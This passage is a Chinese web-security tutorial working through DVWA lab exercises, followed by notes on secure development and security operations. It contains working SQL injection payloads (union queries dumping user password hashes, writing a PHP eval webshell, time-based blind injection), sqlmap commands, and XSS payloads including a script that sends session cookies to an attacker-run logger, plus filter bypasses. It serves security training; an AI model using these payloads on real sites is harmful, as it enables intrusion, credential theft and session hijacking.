于是我们猜想后台PHP代码类似于:
$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;”;
将用户输入的参数获取后替换$id,拼接为SQL后传入后台查询。但这里不一定是 ‘$id’,还有可能是 “$id”或是$id,但是不论是那种,$id=1’作为参数肯定是有语法问题的。
因此我们先首先尝试输入1’,报错(信息和在sql中执行一样),说明后台程序将参数拼接到sql中执行。满足SQL注入的条件。
尝试传入参数的方式:
如果是’$id’,我们可以传入1‘ or ‘1024’=’1024,首先1’补齐了原来正确的sql保证输入正确,后面的or ‘1024’=’1024,再加上源代码中的’,代表始终成立的表达式,如果处理将会打印出其他数据。
同理,整理出以下三种尝试:
$id 传入1 or 1024=1024
‘$id’ 传入1‘ or ‘1024’=’1024
“$id” 传入1″ or “1024”=”1024
结果是1‘ or ‘1024’=’1024中了,结果如下:
尝试猜测字段个数:
首先复习下sql的注释方式, # — (有空格) /**/ 我们一般选用#
输入以下参数,1’保证了sql的正确性,order by 1代表根据第一个字段排序 #注释了后面的语句,也就是后面的 ‘,保证了sql的正确性。
1′ order by 1 #
只要不报错,就继续猜。几次猜测确认了字段数为2。
确定回显点:
1′ union select ‘a’,‘b’ #
将一条记录a,b追加到显示结果中。之所以尝试a,b是因为之前测试的字段数为2,这里任意输入两个字段值验证是否能正确显示。
查看数据库版本和路径:1′ union select @@version,@@datadir #
用户和数据库名:1′ union select user(),database() #
查询数据库中的所有表:1′ union select 1,table_name from information_schema.tables where table_schema=’dvwa’ #
说明数据库dvwa中一共有两个表,guestbook与users。
接下去我们看看users表里有些什么字段,担心字段太多,我们用group_concat拼接这些字段:
1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #
能获用户的密码么:1′ union select user,password from users #
虽然是加密过的,但是对于简单密码只要放到www.cmd5.com中就能破解出来。
能使用load_file函数去获取服务器各种文件:1′ union select 1,load_file(“路径”) #
写入webshell:1′ union select ‘<?php @eval($_GET[‘cmd’];?)>’,webshell into outfile ‘路径’
查资料,能读取的文件限制在secure_file_priv指定的路径里,我这里是NULL,都无法读取。
使用SQLMAP:
获取注入点:sudo sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”
获取用户和数据库名:sudo sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” –cookie “security=low; PHPSESSID=8t9iebs9q1ic4u3l1d67pbibo6” –current-user –current-db
获取表名:sudo sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” –cookie “security=low; PHPSESSID=8t9iebs9q1ic4u3l1d67pbibo6” -D dvwa –tables
获取字段:sudo sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” –cookie “security=low; PHPSESSID=8t9iebs9q1ic4u3l1d67pbibo6” -D dvwa -T users –columns
获取用户密码:sudo sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” –cookie “security=low; PHPSESSID=8t9iebs9q1ic4u3l1d67pbibo6” -D dvwa -T users -C “user,password” –dump
另外,sqlmap也支持获取webshell。
2)Medium安全等级
发现输入框变成了下拉框,可以用TamperData或ZAP去修改请求报文。
同样使用以下几种方法去猜测:
‘$id’ 传入1‘ or ‘1024’=’1024 (发现特殊符号被转义)
“$id” 传入1″ or “1024”=”1024 (发现特殊符号被转义)
$id 传入1 or 1024=1024 (由于代码问题不需要输入引号,刚好绕过转义问题,成功)
大部分操作同low,如查看数据库版本和路径:1 union select @@version,@@datadir #
对于带有 ‘ 的命令被转义了,可以使用HackBar插件里的Encoding功能进行Hex编码,如 table_schema=’dvwa’ 将dvwa编码为0x64767761,就可以不用带引号了:
1 union select 1,table_name from information_schema.tables where table_schema=0x64767761 #
SQLMAP,与low等级类似,区别在于是Low是Get类型,Medium是post类型,参数不都在URL里,要用–data 指定
sudo sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/#” –data “id=1&Submit=Submit” –cookie “security=medium; PHPSESSID=ndjh0r98f19cnt5d1op2avhre7”
4)High安全等级
输出窗口为弹出的新窗口,而输出窗口为原窗口。手动注入方式不变,增加的是Sqlmap的难度,因为输入和输出返回的页面不同。-u参数指定输入URL,–second-order参数指定输出的URL,其他不变。
5)Impossible安全等级
限制了id数据类型,使绑定变量(数据库只是使用它的值,并不解释的他的内容),也可以使用存储过程来实现代码与数据分离。
实战心得:
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。防护方法主要有以下几点:
4.8 SQL盲注
与普通的SQL注入相比,数据库返回的结果不会显示在页面上,只会返回成功或失败。
SQL盲注的一种思路:在执行为true的sql语句后拼接判断为false的语句,如 where user_id=1 and 1024=1025,这个语句判断肯定为false,如果拼接后执行结果失败(false)说明可以注入。
‘$id’ 传入1‘ and ‘1024’=’1025
“$id” 传入1″ or “1024”=”1025
$id 传入1 or 1024=1025
除了用返回结果判断,还可以通过返回时间判断,也就就是延迟注入,如:
1)1’ and if(length(database())=4,sleep(5),1) # 通过抓包看,如果报文延迟,说明if条件为真,数据库名的长度为4个字符。
2)benchmark(5000000, md5(‘test’))$ 通过计算test的md5值5000000次来延迟返回。
DVWA实战:
1)Low安全等级
先测试输入1,提示账号存在,测试上述三种情况,发现传入1‘ and ‘1024’=’1025,提示账号不存在,说明存在可注入的漏洞。
利用上述的方法,我们可以尝试获得数据库名的长度,输入:
1′ and length(database())=1 # 提示不存在
1′ and length(database())=2 # 提示不存在
1′ and length(database())=3 # 提示不存在
1′ and length(database())=4 # 提示存在
这样我们就知道数据库名的长度为4,接下去就是一个个猜测数据库名,以第一个字符为例,输入:
1’ and ascii(substr(databse(),1,1))>97 # 第一个字符的ascii值大于97(即小写a)
提示存在,说明第一个字符ascii是大于a的,我们采用二分法逐一缩小范围,最终获得第一个字符为小写d,采用同样的方法,能把4个字符都试出来:dvwa。
采用这样的思路,我们能像上一节一样获得字段名,表明,数据库名,用户,密码等各种信息,但是我们发现相比上一节,盲注需要较多的重复劳动,这里推荐用sqlmap来进行盲注。
可以通过 -v可以指定详细信息(1-6),观察sql注入的过程,思路和我们类似,方法略有不同。
2)Medium安全等级
和显示注入类似。
3)High等级
通过抓包发现ID是通过cookie提交,sqlmap需要设置lever2以上。
4.9 XSS
XSS:跨站脚本攻击(Cross Site Script),我们之前提到XSS是指攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞。
DVWA实战,XSS (Reflected):
1)Low安全等级
当我们输入名字test时,页面返回欢迎信息Hello test。若输入一段js脚本,发现成功弹窗,验证XSS漏洞存在。
<script>alert(/xss/)</script>
攻击思路:用户在登录状态访问攻击URL,脚本将cookie作为参数发给攻击者的服务器,被记录在文件里。
保存在攻击者服务器的php文件:
<?php $cookie = $_GET[‘cookie’]; file_put_contents(‘cookie.txt’,$cookie); ?>
发现生成了cookie文件并写入了参数中的cookie值。
构造攻击JS,在输入框中输入,测试成功。
<script>document.location=’http://127.0.0.1/test.php?cookie=’ + document.cookie;</script>
我们可以通过抓包,将刚才的URL复制作为发送链接。不过我们这里还是学习下怎么怎么够着出这个有各种%的的URL。
接着我们构造URL,这是我们构造的原始URL:
http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>document.location=’http://127.0.0.1/test.php?cookie=’ + document.cookie;</script>
选中name=后面的内容,通过hackbar进行URL encode即可。
劫持会话:
2)Medium安全等级
关键字进行了过滤,本质上是一种黑名单机制。使用黑名单就意味着可能可以绕过,例如采用嵌套写法<scr<script>ipt>,过滤了内层,剩余的刚好为我们需要的。或者尝试大小写混合<ScRipt>。
3)High安全等级
script标签被完全限制了,但只要是黑名单,就可能有缺陷,我们可以利用其它标签如img和iframe标签:
<img src=x onerror=alert(xss);>
<iframe onload=alert(1);>
4)Impossible安全等级
使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML实体,防止浏览器将其作为HTML元素,有效防止反射型XSS攻击。
存储型xss:
大部分同反射型一致。由于是存储型的,例子中前端限制了长度,可以通过TamperData绕过限制
5.1 SDL介绍
安全开发生命周期(Security Development Lifecycle):
培训:核心安全培训
需求:安全需求分析;质量要求、Bug数量;安全和隐私风险评估
设计:设计需求分析;减小攻击面
实施:使用指定工具;启用不安全函数;静态解析
验证:动态分析;模糊测试;威胁模型和攻击面分析
发布:事件响应计划;最终安全评析;发布存档
响应:执行事情响应计划
SDL作用:
提升Web应用的安全性
降低安全漏洞修复成本
5.2 漏洞和安全处理
1全需求分析:项目初期接入,提前发现安全问题。如使用Web框架和语言的选型建议,敏感信息如密码的保存方案,是否有上传功能等等。
自动安全扫描:通过扫描器发现安全问题,自动化、周期性执行。
人工安全测试:包括白盒测试和黑盒测试,通常以黑盒测试为主。
日志分析:项目上线之后分析日志,通过分析日志发现安全问题。常见模式有可疑日志+人工分析,可疑日志+扫描器。
建立SRC:安全应急响应中心,通过安全爱好者发现安全问题。
与漏洞搜集平台合作:借助漏洞平台的力量和影响力,通过漏洞平台发现安全问题。
其它渠道:黑产卧底,与执法部门合作等等。
5.2.2 处理安全漏洞
1)防御:
输入检查:在服务端检查;数据合法性校验:类型、范围。长度;尽量使用白名单。
输出清理:如错误、异常信息会暴露内部细节。再如XSS ,输出到HTML标签时就需要进行
HTML编码。
针对性防御:针对特定安全漏洞的利用方式,有特定的防御策略,比如重要的cookie设置为httponly ,这样使用XSS就获取不到该cookie。
WAF:对每个web请求进行规制检测,从而匹配可能的web攻击并进行拦截。
2)修复:
漏洞知识库(提供详细漏洞说明和修复方法,需要落地可执行)
漏洞修复周期(需要有时间限制,根据漏洞危害等级限定漏洞修复周期)
漏洞复查(需要安全团队复查,业务方和开发不可信)。
分类:入侵事件,攻击事件,信息泄露
分级:一般分为低中高三级,事件等级不是一成不变,可能会随着事态发展升、降级。
安全事件应急响应流程:事件确认,事件汇报,事件处理,归档和复盘。
5.3 安全运营概述
安全是一个过程,需要持续的运营。比如随着业务的发展,会引入新的安全风险,需要不断改进。
1)安全运营有哪些工作
发现和修复安全问题,防御体系建设和快速响应攻击,SDL落实推动
2)工作如何落地
对内工作:安全扫描(周期性,定期检测保障安全),安全漏洞预警(关注重大漏洞和时间,提前部署防御方案,提前提供解决方案),应急响应,安全监控与入侵检测(通过监控发现安全问题,及时响应与处理)。
对外工作结合:建立外部沟通渠道和流程(提供统一对外沟通的邮件和IM工具,提供安全相关的沟通群,提供外部反馈问题的网站),安全圈关系(了解著名安全公司和安全圈子,积极参加安全会议,积极融入安全圈进行合作),品牌建设(参加合作会议,举办安全会议,打造安全产品,成立安全实验室)。
原文链接:https://www.cnblogs.com/realjimmy/p/12873036.html
原创文章,作者:优速盾-小U,如若转载,请注明出处:https://www.cdnb.net/bbs/archives/17978